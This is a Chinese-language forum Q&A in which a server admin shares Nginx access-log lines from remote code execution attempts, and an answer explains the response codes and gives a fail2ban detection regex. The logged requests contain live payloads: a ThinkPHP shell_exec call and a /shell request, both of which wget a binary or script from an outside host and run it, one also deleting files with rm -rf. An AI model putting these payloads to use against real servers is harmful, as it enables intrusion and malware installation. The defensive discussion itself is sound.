远程代码执行攻击

远程代码执行攻击

这可能是一个非常愚蠢的问题,但我想确认一下。

我发现像

93.71.247.71 - - [19/Jan/2021:17:37:59 +0100] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://88.218.16.198/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 173 "-" "Uirusu/2.0"

或者

71.208.10.233 - - [19/Jan/2021:09:27:41 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ debes.venus.lol/jaws;sh+/tmp/jaws HTTP/1.1" 301 185 "-" "Hello, world"

在我的 Nginx 访问日志中。通过网络搜索,我找到了阻止远程代码执行 Ubuntu Server Fail2Ban 和 Cloudflare人们建议通过服务器配置中的适当语句来捕获此类攻击。

但是,据我所知,服务器已经响应了 400 或 301。所以我的问题是:如我上面链接的问题的答案中所述,服务器配置返回 403 会有什么不同吗?

答案1

至于额外的位置(返回 403 或其他),这确实取决于情况。无论如何,不​​建议直接监视访问日志,请阅读fail2ban wiki :: 最佳实践,尤其是带有寄生日志流量的部分。

至于失败消息,400 确实已经“很好”地被视为失败,而 301 是永久重定向(您似乎在 nginx 中有一些规则可以做到这一点),因此将代码单独视为失败是不正确的(您可能会在合法用户请求中得到一些误报)。因此,最好找到这个 nginx 规则(位置、重写等)并更正它(使其更精确)。

无论哪种方式,failregex上面提到的消息都可能是这样的:

failregex = ^<HOST> \S+ \S+ \[\] (?:"[A-Z]+ [^"]*" 40(?![14])\d|"[A-Z]+ [^\?]+\?(?:[ \+]|%20)*cd(?:[ \+]|%20)+/tmp[^"]*" 301)

如您所见,它将匹配除 401 和 404 之外的每个 40x 错误(您也可以使用更精确的模式,例如40[035]
但它也包含考虑 301 的部分|"[A-Z]+ [^\?]+\?(?:[ \+]|%20)*cd(?:[ \+]|%20)+/tmp[^"]*" 301,因此如果您修复了前面提到的弱 nginx 规则,则可以将其删除,从而重定向此类错误请求。但目前,它只会匹配包含以 开头的查询字符串的消息cd /tmp(前后有任意空格组合cd)。

相关内容